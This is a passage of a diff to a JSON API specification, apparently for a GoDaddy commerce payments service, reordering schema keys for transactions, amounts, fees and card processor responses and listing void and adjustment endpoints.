(if interacMac is used)" + "type": "string" }, - "emvTags": { + "scaResult": { + "description": "Strong customer authentication result", "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "type": "string" } - } + }, + "title": "Card Processor Response", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", "readOnly": true, + "type": "integer" + }, + "avsResult": { "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { "addressResult": { - "readOnly": true, - "description": "Result of Address verification", "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", + "cardHolderNameResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", + "cityResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", + "countryResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", + "phoneResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", + "postalCodeResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", + "stateResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, "cvResult": { - "type": "string", + "description": "CVV verification result", "enum": [ "MATCH", "NO_MATCH", "UNAVAILABLE" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents Adjustment transaction against a payment", - "properties": { - "newAmount": { - "description": "Adjusted transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } }, - "description": "Fees if any" + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" } }, "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", "type": "string" - } - } - } - }, - "required": [ - "newAmount" - ] - }, - "readOnly": true, - "description": "Adjustments for the payment" - }, - "captures": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Capture Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { + }, "transactionId": { "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", "description": "Custom URN format", - "type": "string", "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true }, "transactionRefNum": { "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", "description": "reference number (UUID format)", - "type": "string", "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", + "title": "ReferenceNumber", "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents sale transaction against a payment", + "title": "Sale Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/payment/type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment type", + "enum": [ + "AUTHORIZATION", + "SALE", + "REFUND" + ], + "title": "Payment Type", + "type": "string" + }, + "updatedAt": { + "description": "Last updated time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "amount", + "fundingSource", + "createdAt" + ], + "title": "Payment", + "type": "object", + "x-generic-type": "Payment", + "x-tags": [ + "transaction", + "payments" + ] + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "voidPaymentById", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentId}", + "summary": "Void Payment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + } + ], + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getAdjustments", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/adjustments", + "summary": "Get Adjustments", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + }, + "200": { + "description": "Adjustment list", + "schema": { + "allOf": [ + { + "properties": { + "links": { + "$ref": "./types/Links.yaml" + }, + "totalItems": { + "type": "integer" + }, + "totalPages": { + "type": "integer" + } + } + } + ], + "properties": { + "items": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { "amount": { - "description": "Transaction amount", "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Payment amount", "format": "int64", - "description": "Payment amount" + "type": "integer" }, "currency": { - "description": "Payment currency", "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", + "description": "ISO 4217 Currency codes", "example": "USD", - "minLength": 3, "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } }, "required": [ "amount", "currency" - ] + ], + "title": "Simple Amount", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" + "description": "Cashback details", + "type": "integer" }, "currency": { - "description": "Amount currency", "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", + "description": "ISO 4217 Currency codes", "example": "USD", - "minLength": 3, "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true }, "fees": { - "type": "array", + "description": "Fees if any", "items": { "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Fee amount", "format": "int64", - "description": "Fee amount" + "type": "integer" }, "type": { - "type": "string", - "example": "Shipping", "description": "Fee type", + "example": "Shipping", + "maxLength": 64, "minLength": 2, - "maxLength": 64 + "type": "string" } }, "required": [ "amount", "type" - ] + ], + "title": "SimpleFee", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Fee amount", "format": "int64", - "description": "Fee amount" + "type": "integer" }, - "type": { + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "example": "SURCHARGE", + "writeOnly": true + }, + "type": { "description": "Fee Program type", "enum": [ "SURCHARGE", "SERVICE_FEE", "CONVENIENCE_FEE", "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true + ], + "example": "SURCHARGE", + "type": "string" } }, "required": [ "amount", "type", "signature" - ] + ], + "title": "GovernedFee", + "type": "object" } ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, "properties": { "feeType": { - "type": "string", - "description": "Fee type discriminator" + "description": "Fee type discriminator", + "type": "string" } }, "required": [ "feeType" - ] + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } }, - "description": "Fees if any" + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, "required": [ "total", "currency" - ] + ], + "title": "Detailed Amount", + "type": "object" } ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, "properties": { "amountType": { "type": "string" } - } + }, + "title": "Amount", + "type": "object" }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "context": { - "description": "Transaction context", "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", "description": "Payment Context details", "properties": { "channelId": { "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", "example": "id", - "readOnly": true + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" }, "merchantInitiatedTransaction": { - "type": "boolean", "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } + }, + "title": "PaymentContext", + "type": "object" } ], + "description": "Transaction context", + "title": "TransactionContext", "type": "object" }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" }, "processorResponse": { - "readOnly": true, - "description": "Processor response", "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", "readOnly": true, + "type": "integer" + }, + "avsResult": { "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { "addressResult": { - "readOnly": true, - "description": "Result of Address verification", "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", + "cardHolderNameResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", + "cityResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", + "countryResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", + "phoneResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", + "$schema": "https://json-schema.org/draft/2020-12/schema", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", + "postalCodeResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", + "stateResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, "cvResult": { - "type": "string", + "description": "CVV verification result", "enum": [ "MATCH", "NO_MATCH", "UNAVAILABLE" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", "readOnly": true, - "description": "Approval code that can be used for reference" + "type": "string" }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "interacMacResult": { - "type": "string", + "description": "Interac mac result (if interacMac is used)", "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "type": "string" }, - "emvTags": { + "scaResult": { + "description": "Strong customer authentication result", "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "type": "string" } - } + }, + "title": "Card Processor Response", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", "readOnly": true, + "type": "integer" + }, + "avsResult": { "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { "addressResult": { - "readOnly": true, - "description": "Result of Address verification", "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", + "cardHolderNameResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", + "cityResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", + "countryResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", + "phoneResult": { "$id": 